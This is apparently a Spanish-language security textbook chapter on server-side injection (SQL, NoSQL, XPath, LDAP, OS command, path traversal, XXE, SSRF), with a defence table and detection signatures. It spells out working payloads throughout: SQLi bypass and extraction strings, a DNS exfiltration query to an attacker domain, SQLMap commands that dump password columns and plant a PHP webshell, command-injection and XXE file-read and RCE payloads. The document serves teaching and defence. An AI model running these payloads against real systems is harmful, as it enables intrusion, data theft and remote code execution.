Panorama#
Bajo la variedad aparente de la inyección web hay una sola idea. Un intérprete —el motor SQL, el shell del sistema operativo, el parser de XML, el resolvedor de rutas del filesystem, el servidor SMTP— procesa una mezcla de dos cosas: las instrucciones que escribió el programador y los datos que aporta el usuario. Mientras los datos se queden en su contexto de datos, todo funciona. La inyección es el acto de romper ese contexto: con la sintaxis especial del lenguaje del intérprete, el input del atacante escapa del lugar donde debía ser un valor inerte y pasa a interpretarse como instrucción. A partir de ahí, el atacante no manipula el dato: reescribe la orden.
La consecuencia estructural es la que hace a esta familia tan grave. La aplicación web actúa como el control de
acceso de sus componentes back-end, y los accede con un único nivel de privilegio —una cuenta de base de datos,
el contexto del proceso del servidor web, un usuario de sistema—. Una inyección que altera la instrucción que la
aplicación envía a ese componente no burla un control puntual: burla el modelo de acceso entero de la capa de
aplicación de un solo golpe. Un WHERE reescrito devuelve datos que ninguna pantalla debía mostrar; un comando de
shell inyectado corre con los permisos del servidor web; una entidad XML externa lee cualquier archivo que el
proceso pueda abrir.
Este capítulo recorre la familia server-side ordenada por el intérprete que se ataca —no por la herramienta—, porque el intérprete es lo que determina la sintaxis del escape y, sobre todo, la forma de la defensa. Empieza por el arquetipo, la inyección SQL, donde todos los patrones (detección, extracción, explotación ciega, escalada, evasión de filtros) aparecen por primera vez y con más profundidad. Sigue con sus primas de otras bases de consulta (NoSQL, XPath, LDAP), la inyección de comandos de sistema operativo, el recorrido del filesystem (path traversal, LFI, RFI), el XXE en detalle, y las inyecciones que abusan de los requests que el servidor hace hacia atrás (SSRF, parameter pollution, SOAP, mail). Y cierra con la lección que las une: existe un solo patrón de defensa completo, y es siempre el mismo —separar el código de los datos—, declinado según cada intérprete. Todo esto se apoya en el mapa de la superficie de ataque que arma la 3.1 · Metodología: cada parámetro, cookie o cabecera es un punto de entrada a probar.
flowchart TD
IN["Input del usuario\n(parámetro / cookie / header / body)"] --> CTX{"¿A qué intérprete\nllega el dato?"}
CTX -->|"motor SQL"| SQL["SQL injection\n(3.2 · núcleo)"]
CTX -->|"shell del OS"| CMD["OS command injection"]
CTX -->|"filesystem"| TRAV["Path traversal / LFI / RFI"]
CTX -->|"parser XML"| XXE["XXE"]
CTX -->|"request back-end"| SSRF["SSRF · HPP · SOAP · mail"]
SQL --> DEF["Defensa transversal:\nseparar código de datos"]
CMD --> DEF
TRAV --> DEF
XXE --> DEF
SSRF --> DEF
DEF -->|"parametrización · APIs seguras ·\nentidades off · egress filtering ·\nmínimo privilegio"| SAFE["La clase entera\nqueda negada"]Inyección SQL: el arquetipo#
La inyección SQL es el caso canónico porque en él aparecen, por primera vez, todos los movimientos que reaparecen
en las demás familias. El ejemplo mínimo es un login: la consulta SELECT * FROM users WHERE username='marcus' AND password='secret' se rompe con un nombre de usuario admin'--, donde la comilla cierra el literal de cadena y el
-- comenta el resto de la consulta, eliminando el chequeo de contraseña. La variante ' OR 1=1-- devuelve todos
los usuarios, y la mayoría de las aplicaciones procesan el primero —el administrador—. El punto de entrada no es
solo el SELECT: un INSERT inyectable crea cuentas con privilegios arbitrarios, y un UPDATE es peligrosísimo,
porque un admin' OR 1=1-- inyectado en la cláusula de un UPDATE reescribe la contraseña de todos los usuarios
(el 1=1 siempre es verdadero).
UPDATE
con el nombre de usuario tras un login exitoso; el mismo payload que sondea el login puede entonces arrasar una
tabla entera. La regla profesional —de la metodología— es respaldo y consentimiento
explícito del dueño antes de sondear escrituras.Detección: comilla, número, estructura#
La detección es sistemática y cubre tres contextos. En un contexto de cadena, una comilla simple provoca un
error o una divergencia; dos comillas juntas ('', que el motor interpreta como una comilla escapada) restauran el
comportamiento normal, confirmando la inyección; y una concatenación equivalente a un valor benigno —'||'FOO en
Oracle, '+'FOO en MS-SQL, ' 'FOO en MySQL— lo verifica sin disparar el error. En un contexto numérico,
donde el dato no va entre comillas, se usa una expresión equivalente: 67-ASCII('A') da 2 y confirma que el
motor está evaluando el input como código. Y en el tercer contexto, la estructura de la consulta, el input cae
en un ORDER BY o en un nombre de columna, donde no hace falta ninguna comilla porque el valor ya forma parte de
la sintaxis: 1 ASC/1 DESC lo confirma. Este último caso importa porque no se cura con consultas
parametrizadas —los nombres de columna y las palabras clave no son parametrizables—, y por eso sigue vivo en
aplicaciones modernas por lo demás bien escritas.
Extracción: UNION cuando vuelven resultados#
Cuando la aplicación devuelve los resultados de la consulta en la respuesta, la vía más rápida es UNION SELECT,
que combina una segunda consulta con la primera. Tiene dos requisitos: el mismo número de columnas y tipos
compatibles. El valor NULL se convierte a cualquier tipo, así que se prueba ' UNION SELECT NULL--, luego
NULL,NULL--, incrementando hasta que la consulta se ejecuta —eso revela el número de columnas—; después se
reemplaza cada NULL por 'a' para hallar cuál acepta cadenas. (En Oracle todo SELECT exige un FROM, de ahí
FROM DUAL.) Con eso resuelto, falta conocer los nombres de tabla y columna: los aporta el metadato del propio
motor, information_schema.columns (MS-SQL, MySQL, Postgres, SQLite) o all_tab_columns (Oracle), donde se puede
buscar directamente por nombre de columna interesante (WHERE column_name LIKE '%PASS%') y concatenar
table_name||':'||column_name para devolverlo todo en un único campo de texto.
Explotación ciega: inferencia, error, tiempo#
Cuando la consulta se ejecuta pero sus resultados no vuelven en la respuesta, hay una escalera de cuatro técnicas, de la más cómoda a la más lenta:
- Recuperar como número.
ASCII(SUBSTRING('Admin',1,1))devuelve el carácter en forma numérica, byte a byte, si algún valor numérico sí se refleja. - Inferencia por respuesta condicional.
admin' AND 1=1--yadmin' AND 1=2--producen respuestas distintas; sobre esa diferencia,admin' AND ASCII(SUBSTRING('Admin',1,1))=65--extrae cada byte por bisección. - Error condicional (la técnica de Litchfield). Cuando nada visible cambia, se induce un error contingente:
SELECT 1/0 FROM dual WHERE (SELECT ...)='X'— el motor solo evalúa la división por cero si la condición es verdadera, así que un HTTP 500 señala «condición cierta». - Retardo temporal. El último recurso, y también la forma más fiable de detectar una inyección ciega total:
if ASCII(SUBSTRING(...))=65 waitfor delay '0:0:5'en MS-SQL,sleep()/benchmark()en MySQL,PG_SLEEPen Postgres. Extrae datos aun sin ninguna diferencia observable salvo el tiempo de respuesta.
flowchart TD
START["SQLi confirmada"] --> Q1{"¿Vuelven los\nresultados?"}
Q1 -->|"sí"| UNION["UNION SELECT\n+ information_schema"]
Q1 -->|"no"| Q2{"¿Respuesta\ncondicional distinta?"}
Q2 -->|"sí (contenido)"| INF["Inferencia booleana\nASCII/SUBSTRING"]
Q2 -->|"sí (error 500)"| ERR["Error condicional\n1/0 (Litchfield)"]
Q2 -->|"no"| TIME["Time delay\nWAITFOR / sleep()"]
UNION --> ESC["Escalada a DB / OS"]
INF --> ESC
ERR --> ESC
TIME --> ESC
ESC --> OOB["Canal out-of-band\n(DNS / HTTP / OUTFILE)"]Escalada al motor y al sistema operativo#
Una inyección SQL rara vez termina en la lectura de una tabla. En MS-SQL, el procedimiento extendido
xp_cmdshell ejecuta comandos del sistema operativo como LocalSystem —el motor corre por defecto con ese
privilegio—, y si estaba deshabilitado se re-habilita con sp_configure. En Oracle, DBMS_JAVA.RUNJAVA da
ejecución de comandos y UTL_FILE toca el filesystem. En MySQL, LOAD_FILE('/etc/passwd') lee archivos e
INTO OUTFILE los escribe (incluso a una ruta UNC hacia un recurso SMB del atacante). Y cuando ni siquiera la
respuesta ni el tiempo sirven para exfiltrar, se abre un canal out-of-band: una conexión de red desde la propia
base de datos de vuelta hacia el atacante. La más confiable es por DNS —Oracle
UTL_INADDR.GET_HOST_NAME((SELECT password...)||'.atacante.net')— porque el tráfico DNS suele salir de las redes
corporativas aun cuando el HTTP está filtrado.
Bypass de filtros y second-order#
Los filtros de entrada se esquivan de muchas formas, todas derivadas del mismo principio de que hay más de una
manera de expresar el mismo token: construir cadenas con CHR()/CHAR() cuando la comilla está bloqueada;
balancear comillas con ' OR 'a'='a cuando el comentario -- está bloqueado; variar el case (SeLeCt) o
explotar filtros no recursivos (SELSELECTECT, que al eliminar el SELECT interno reconstituye la palabra);
codificar en URL o doble-URL; usar comentarios inline como separadores (SELECT/**/username). Y el caso más sutil,
la inyección de segundo orden: un dato que se escapa correctamente al insertarse (O''Reilly) pero se lee
después sin re-escapar y se reinyecta en otra consulta. Registrar el nombre de usuario ' OR 1 IN (SELECT password FROM users WHERE username='admin')-- pasa el INSERT seguro y dispara la inyección cuando ese valor almacenado se
usa en una consulta posterior —un fallo que la validación en el punto de entrada no detecta y que solo se cierra
con parametrización en cada consulta—.
SQLMap: la industrialización#
Todo lo anterior se automatiza con SQLMap, el motor de detección y explotación que soporta una docena de bases
de datos. El flujo operativo empieza donde termina el sondeo manual —una comilla que rompe la consulta— y se apoya
en -u para la URL, -p para forzar el parámetro y --technique para elegir la vía (B boolean-blind, E
error, U UNION, S stacked, T time, Q inline) cuando la detección automática falla. La extracción es una
jerarquía de menor a mayor granularidad: --current-user → --dbs → -D <base> --tables → --columns →
-C "col1,col2" --dump, evitando el --dump-all que es lento y disruptivo. Para las inyecciones ciegas —mucho más
lentas— hay optimizaciones concretas: --threads (multihilo), --null-connection (distingue verdadero de falso
por el largo de la respuesta sin traer el cuerpo entero), --keep-alive y --predict-output (predice nombres de
columna comunes con datasets precompilados).
# Detección y volcado dirigido (evitando --dump-all, ruidoso)
sqlmap -u "http://app/item?id=2" -p id --dbs
sqlmap -u "http://app/item?id=2" -D tienda -T users -C "username,password" --dump
# Escalada: si el usuario de DB tiene privilegio FILE → webshell y RCE
sqlmap -u "http://app/item?id=1" --privileges
sqlmap -u "http://app/item?id=1" --file-write=shell.php --file-dest=/var/www/shell.php # <?php system($_GET[1337]); ?>
sqlmap -u "http://app/item?id=1" --os-shell # shell interactiva (MS-SQL: vía xp_cmdshell)
# POST y portal autenticado
sqlmap -r request.txt -p uname # request crudo desde archivo (POST / SOAP / JSON)
sqlmap --cookie="PHPSESSID=..." -u "http://app/portal/names?id=1"
Cuando el usuario de base de datos tiene el privilegio FILE, SQLMap lo convierte en ejecución de comandos:
--file-write sube un webshell PHP de una línea (<?php system($_GET[1337]); ?>) al document root, y --os-shell
automatiza el stager de reverse shell. Frente a un WAF, los tamper scripts (--tamper) transforman el payload
para esquivar el filtro: reemplazan el espacio por comentarios (space2comment), cambian el case (randomcase),
codifican en unicode (charunicodeencode) o usan comentarios versionados de MySQL (modsecurityversioned). Son la
prueba operativa de que el filtrado de firmas nunca es una defensa completa —solo una capa que se evade
transformando la forma sin cambiar el fondo—.
NoSQL, XPath y LDAP: el mismo patrón, otra sintaxis#
El arquetipo SQL se repite en toda base que interprete una consulta. En NoSQL/MongoDB, cuando la consulta se
arma concatenando en JavaScript, un valor Marcus'// comenta el resto (el // de JS) o a' || 1==1 || 'a'=='a
fuerza el verdadero. En XPath, la consulta //user[name='x' and password='y'] se subvierte con una contraseña
' or 'a'='a que devuelve todos los nodos, y se extrae byte a byte con substring(password,1,1)='M'; incluso a
ciegas, sin conocer la estructura, name(parent::*[position()=1]) la reconstruye. En LDAP el ataque es más
limitado —el operador va antes del input, sin equivalente al OR 1=1—, pero un comodín * en un filtro
disyuntivo lo abre todo, y en uno conyuntivo se puede inyectar un segundo filtro (*))(&(...) o truncar con un
NULL byte (*))%00). El patrón defensivo también es común: donde no hay parametrización, whitelist estricto de
los metacaracteres del lenguaje.
Inyección de comandos de sistema operativo#
Cuando la aplicación pasa input a una función que invoca el shell —exec, system, Process.Start con cmd /c—,
los metacaracteres de shell inyectan un segundo comando que corre en el contexto del proceso del servidor web.
El pipe |, el ; o el newline encadenan comandos; el backtick los encapsula; en Windows && corre el segundo
solo si el primero tuvo éxito y || siempre. Es especialmente prevalente en las interfaces de administración de
dispositivos embebidos (routers, firewalls, impresoras). Cuando los resultados no vuelven, la detección fiable es
—igual que en la SQLi ciega— el retardo temporal: una cadena universal como || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & induce treinta segundos de demora en cualquier plataforma. Confirmada la inyección, se
exfiltra por canal out-of-band (subir herramientas con TFTP, abrir una reverse shell con netcat) o redirigiendo
la salida al web root (dir > c:\inetpub\wwwroot\foo.txt). Aun sin poder inyectar un comando entero, se puede
abusar del existente: redirigir con > para escribir un backdoor, o agregar flags. La reverse shell resultante
es la puerta a la escalada de privilegios y, con un canal estable, al
C2.
Path traversal, LFI y RFI#
Cuando la aplicación construye una ruta de archivo con input del usuario (GetFile?filename=foto.jpg →
/filestore/foto.jpg), las secuencias ../ (dot-dot-slash) suben de directorio y dan lectura —y a veces
escritura— de archivos arbitrarios: ../../../../etc/passwd, ..\windows\win.ini. La prueba metódica empieza
sin salir del directorio (foo/bar/../file.txt, que la canonicalización cancela a foo/file.txt) para confirmar
que el input llega a la ruta, y después escala saliendo con muchas secuencias. Los filtros anti-traversal se
esquivan con la misma lógica de «otra forma del mismo token»: codificación URL de puntos y barras (%2e, %2f),
unicode (%u002e), doble codificación (%252e), UTF-8 sobrelargo (%c0%af, aceptado por muchos decodificadores
de Windows), secuencias anidadas (....//, que al eliminar el ../ interno reconstituye una), y el NULL byte
(../../boot.ini%00.jpg) contra un filtro de extensión que ve .jpg mientras la API nativa trunca en el %00.
La inclusión de archivos eleva la lectura a ejecución. La remote file inclusion (RFI) —PHP include($x.'.php')
que acepta una URL— hace que el servidor descargue y ejecute el script del atacante: ejecución remota directa. La
local file inclusion (LFI) incluye un recurso local protegido, exponiendo funciones o estáticos que el control de
acceso debía bloquear. Ambas alimentan el resto de la familia: los archivos de configuración leídos por traversal o
LFI contienen las credenciales de base de datos que abren la SQLi de la sección anterior y la
autenticación del capítulo siguiente.
XXE: el parser de XML como intérprete#
Un documento XML puede declarar entidades, y las externas son el motor del ataque. Una entidad externa
<!ENTITY xxe SYSTEM "URI"> instruye al parser para que, apenas la lea, resuelva el URI —descargue el recurso— y
lo sustituya donde la entidad se referencie. Si el atacante controla el XML que se parsea, controla ese URI. El uso
más directo es la lectura de archivos con el handler file://:
<!-- Lectura de archivo local; &xxe; se refleja en un elemento que vuelve en la respuesta -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<student><name>&xxe;</name></student>
<!-- Si el contenido rompe el XML (< o &): wrapper base64 de PHP -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
Cuando el archivo tiene caracteres que romperían la sintaxis XML, el wrapper php://filter/convert.base64-encode
lo devuelve en base64, seguro para incrustar. Apuntando la entidad a un URI http:// en vez de file://, el
parser hace la conexión desde el servidor —eso es SSRF vía XXE—, con el que se puede escanear puertos internos
por la diferencia entre el error de un puerto abierto (fallo de request HTTP, a veces con el banner del servicio) y
el de uno cerrado (fallo de conexión). Si el wrapper expect:// está habilitado en PHP, expect://id ejecuta
comandos: XXE escalado a RCE. Y como el parser leerá cualquier archivo que se le indique, apuntarlo a
file:///dev/random lo cuelga indefinidamente: un DoS.
Los ataques de agotamiento por entidades cierran el cuadro. El clásico billion laughs —una entidad anidada
recursivamente diez niveles, que se expande a mil millones de referencias con un documento diminuto— está muerto:
los parsers modernos detectan el anidamiento y frenan. Su sucesor vivo es el quadratic blowup: declara una
sola entidad grande (decenas de miles de bytes) y la referencia miles de veces sin anidar
(<x>&e;&e;&e;...</x>), logrando la misma expansión cuadrática pero evadiendo el detector de anidamiento. El caso
real fue WordPress ≤ 3.9 en su endpoint xmlrpc.php. El XXE aparece, además, en lugares no obvios: cualquier
endpoint que parsee XML controlable —SOAP, XML-RPC, sitemaps, SAML, y los formatos ofimáticos DOCX/XLSX/SVG que son
ZIP+XML—, un terreno que la inyección web moderna retoma junto con el metadato de la nube
(http://169.254.169.254/).
SSRF y las inyecciones en requests back-end#
La última rama abusa de los requests que el propio servidor hace hacia atrás. La SSRF (server-side request
forgery) aparece cuando un parámetro que el servidor descarga es un hostname o URL controlable: cambiarlo
(loc=192.168.0.1:22) convierte la aplicación en un proxy abierto con el que alcanzar hosts internos no
ruteables, conectar a servicios en el loopback del propio servidor —saltando el firewall perimetral y las
relaciones de confianza—, o leer banners internos que aparecen reflejados en la respuesta. Es una de las clases más
peligrosas en entornos cloud, donde el endpoint de metadatos (169.254.169.254) entrega credenciales temporales de
la instancia.
Las inyecciones en parámetros del request back-end completan la rama. La HTTP Parameter Injection codifica un
&/= para inyectar un parámetro nuevo en el request que el servidor arma hacia atrás
(ToAccount=08447656%26clearedfunds%3dtrue), saltando un chequeo de negocio. La HTTP Parameter Pollution
explota que la especificación HTTP no define qué pasa con parámetros duplicados —unos servidores usan el primero,
otros el último, otros los concatenan—: una segunda instancia del mismo parámetro pisa el valor original, y un WAF
y la aplicación pueden discrepar en cuál eligen. La inyección SOAP rompe el mensaje XML entre componentes con
metacaracteres (</Amount><ClearedFunds>True</ClearedFunds>), un fraude de lógica de negocio. Y la inyección de
mail genera correos arbitrarios: manipulación de cabeceras (%0aBcc:) o inyección de comandos SMTP
(%0d%0a...MAIL FROM), sobre las funciones de feedback que suelen ser periféricas y menos auditadas.
Defensa transversal: separar código de datos#
Toda esta familia tiene una sola defensa completa, y es siempre la misma idea declinada según el intérprete: separar la estructura del código de los datos, de modo que ningún dato pueda reinterpretarse como instrucción. Los filtros de entrada, el escape de caracteres y las listas negras son parciales por diseño —siempre hay «otra forma del mismo token», como demuestran los tamper scripts—; la solución correcta niega la clase entera en el punto donde el dato entra al intérprete.
| Intérprete | Defensa que niega la clase | Por qué es completa |
|---|---|---|
| SQL | Consultas parametrizadas (estructura fijada, luego el dato), en cada consulta y cada parámetro | El dato del paso 2 no puede alterar la estructura del paso 1 |
| SQL (nombres/keywords) | Whitelist estricto (no parametrizable) + cuenta de DB de mínimo privilegio | Cierra el ORDER BY y limita el impacto residual |
| Shell del OS | APIs con argumentos (exec(cmd, args)), no un command string | El metacarácter nunca llega a un shell |
| Filesystem | Canonicalizar y verificar que el resultado empieza en el directorio esperado; índice en vez de nombre | El ../ no escapa del sandbox |
| Parser XML | Deshabilitar entidades externas y DTD (disallow-doctype-decl, XmlResolver=null) | No hay resolución de URI que abusar |
| Request back-end (SSRF) | Whitelist de destinos + bloqueo de rangos internos/loopback/metadata + egress filtering | El servidor no puede alcanzar lo interno |
Sobre esa base, la defensa en profundidad reduce el daño de cualquier fallo residual: la aplicación accede a la
base de datos con una cuenta de mínimo privilegio (nunca FILE, nunca DBA), el proceso del servidor web no puede
leer configuraciones sensibles ni abrir conexiones salientes arbitrarias, y las funcionalidades peligrosas por
defecto (xp_cmdshell, UTL_HTTP, expect://) se deshabilitan. Con esto, incluso una inyección que logra ejecutar
no logra escalar.
Detección: la inyección deja firma#
Cuando la prevención falla, la telemetría atrapa la inyección —y es la misma lógica de correlación de 4.9 · Defensa de AD, aplicada a la capa web—. Cada clase deja un rastro característico:
- En los logs de acceso (WAF/proxy/servidor web) aparecen los payloads en la query o el cuerpo:
UNION SELECT,' OR 1=1,WAITFOR DELAY,xp_cmdshell,information_schema, secuencias../y%c0%af, entidades<!ENTITY. ElDECLARE @S NVARCHAR(4000)...EXEC(@S)en elcs-uri-queryde IIS es la firma clásica de un ataque SQLi masivo, cazable con análisis de logs (materia de la Parte 5). - El proceso del servidor web como padre de un proceso anómalo —
w3wp.exeohttpdengendrandocmd.exeo/bin/sh— es la firma inequívoca del command injection, el webshell y el--os-shellde SQLMap (Event ID 4688 con línea de comandos, Sysmon 1). - Conexiones salientes desde el servidor de aplicación hacia rangos internos, el loopback,
169.254.169.254o un host externo controlado delatan SSRF, RFI, el canal out-of-band de la SQLi y la exfiltración por DNS. - Anomalías de tiempo y error: latencias repetidas y regulares (inyección time-based), ráfagas de HTTP 500
(error-based), o el User-Agent
sqlmapsin--random-agent.
El emparejamiento púrpura es limpio: el atacante inyecta y usa el servidor como proxy o backdoor para evadir el perímetro; el defensor lo caza por la firma del payload en los logs de acceso y por el proceso hijo anómalo y las conexiones salientes que la escalada genera. La correlación de esas señales a escala de SIEM, y el análisis forense de los logs web, se desarrollan del lado azul en la Parte 5.
Referencias#
red-web/wahh/cap-06— Attacking Data Stores: la inyección SQL a fondo (detección por contexto, UNION + metadato, las cuatro técnicas ciegas, escalada a OS, bypass de filtros y second-order, prepared statements como única defensa completa) y las variantes NoSQL/XPath/LDAP.red-web/wahh/cap-07— Attacking Back-End Components: inyección de comandos de OS, ejecución dinámica, path traversal/LFI/RFI, XXE, inyección SOAP, SSRF, HPI/HPP e inyección de mail; la defensa por APIs seguras y el registro de las secuencias de ataque como IOC.red-web/mmwp/cap-02— Exploiting SQL Injection con SQLMap: la operacionalización (técnicas B/E/U/S/T/Q, jerarquía de extracción, optimización de la inyección ciega,FILE→webshell,--os-shell) y los tamper scripts como evasión de WAF.red-web/mmwp/cap-04— XML Attacks: el XXE en profundidad (entidades externas,file://,php://filterbase64, SSRF vía XXE,expect://RCE, DoS) y el quadratic blowup (caso WordPress 3.9).- OWASP — SQL Injection Prevention, XXE Prevention y SSRF Prevention Cheat Sheets.
- MITRE — CWE-89 SQL Injection, CWE-78 OS Command Injection, CWE-611 XXE y CWE-918 SSRF.